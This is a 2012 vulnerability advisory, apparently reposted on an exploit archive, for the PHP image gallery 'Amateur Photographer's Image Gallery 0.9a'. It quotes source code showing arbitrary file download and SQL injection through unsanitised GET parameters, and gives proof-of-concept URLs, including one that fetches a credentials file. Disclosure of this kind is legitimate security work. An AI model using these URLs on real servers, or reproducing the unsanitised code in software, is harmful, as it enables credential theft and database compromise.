Home / exploitsPDF  

Amateur Photographer's Image Gallery 0.9a XSS / SQL Inj

Posted on 23 October 2012

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ ³ Undergroundthalo Hacking Team - Security Advisory ³ ³ ³ ÚÁ----------------------------------------À³Ã™-----------------------------------Á¿ ³ ³Ãš´ Author : cr4wl3r ³ Release Date : 18-Okt-2012 ÿ³ ³³³ Product : Amateur Photographer's Image ³ Size : 302.3 kB ³³³ ³³³ Link : http://sourceforge.net/projects/ap-imagegallery ³³³ ³ÃƒÃ------------------------------------------³-------------------------------------Á´Â³ ³³ gallery-0.9a.zip ³ ³³ ³Ã€Ã„ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÁÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ³ ³ Details ³ ³ ³ ³ Amateur Photographer's Image Gallery 0.9a ³ ³ ³ ³ A image gallery for photographers who don't care if their photos are publicly ³ ³ available on the web. Offers many advanced features such as image preloading ³ ³ which enables you to switch photos without waiting for the next photo to load. ³ ³ In this vulnerability, attacker can download any file from server. ³ ³ for example, downloading a configuration file contains information username ³ ³ database, another case attacker can inject database with SQL Injection ³ ³ or XSS only from URL ³ ³------------------------------------------------------------------------------------³ RFD Code in force-download.php <?php $filename = $_GET['file']; // required for IE, otherwise Content-disposition is ignored if(ini_get('zlib.output_compression')) ini_set('zlib.output_compression', 'Off'); // addition by Jorg Weske $file_extension = strtolower(substr(strrchr($filename,"."),1)); if( $filename == "" ) { echo "<html><title>eLouai's Download Script</title><body>ERROR: download file NOT SPECIFIED. USE force-download.php?file=filepath</body></html>"; exit; } elseif ( ! file_exists( $filename ) ) { echo "<html><title>eLouai's Download Script</title><body>ERROR: File not found. USE force-download.php?file=filepath</body></html>"; exit; }; switch( $file_extension ) { case "pdf": $ctype="application/pdf"; break; case "exe": $ctype="application/octet-stream"; break; case "zip": $ctype="application/zip"; break; case "doc": $ctype="application/msword"; break; case "xls": $ctype="application/vnd.ms-excel"; break; case "ppt": $ctype="application/vnd.ms-powerpoint"; break; case "gif": $ctype="image/gif"; break; case "png": $ctype="image/png"; break; case "jpeg": case "jpg": $ctype="image/jpg"; break; default: $ctype="application/force-download"; } header("Pragma: public"); // required header("Expires: 0"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Cache-Control: private",false); // required for certain browsers header("Content-Type: $ctype"); // change, added quotes to allow spaces in filenames, by Rajkumar Singh header("Content-Disposition: attachment; filename="".basename($filename)."";" ); header("Content-Transfer-Encoding: binary"); header("Content-Length: ".filesize($filename)); readfile("$filename"); <------- BOOOOOOM exit(); ?> SQLi Code plist.php <?php include 'database.php'; $index = 1; $albumid = $_GET['albumid']; $folder = select_row("SELECT folder FROM albums where id = $albumid"); $folder = $folder['folder']; $retid = select("SELECT * FROM photos where albumid = $albumid ORDER BY date, large"); while ($row = mysql_fetch_array($retid)) { if ($index == 1) { echo "<tr> "; } // begin row $small = $row["small"]; $id = $row["id"]; echo "<td width='200px' height='200px' align='center' valign='middle'><a href='photo.php?id=$id&albumid=$albumid'><img src='albums/$folder/$small' border='0' /></a></td>"; // display cell if ($index == 3) { echo " </tr>"; $index = 1; } // end row else { $index = $index + 1; } // increment count } ?> SQLi Code fullscreen.php <?php require 'database.php'; // initialize variables $current_photo_id = $_GET['id']; $album_id = $_GET['albumid']; $js_psuedo_index = 0; $number_of_photos = -1; echo "var img = []; "; // find the folder where the photos are located and the album name $row = select_row("SELECT * FROM albums where id = $album_id"); $folder = $row['folder']; $album_name = $row['name']; ³------------------------------------------------------------------------------------³ ³ Proof of Concept : ³ ³ ³ ³ http://b0x/path_gallery/force-download.php?file=[RFD] ³ ³ http://b0x/path_gallery/force-download.php?file=constants.php ³ ³ http://b0x/path_gallery/plist.php?albumid=[SQLi] ³ ³ http://b0x/path_gallery/plist.php?albumid=[XSS] ³ ³ http://b0x/path_gallery/fullscreen.php?albumid=[SQLi] ³ ³ ³ ³ ³ ³ ³ ³ Undergroundthalo Hacking Team ³ ³ Site: http://0xuht.org ³ ³ Twitter: @hackb0x ³ ³ ³ ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ ³ Happy Birhtday Saskia Adam :) ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

 

TOP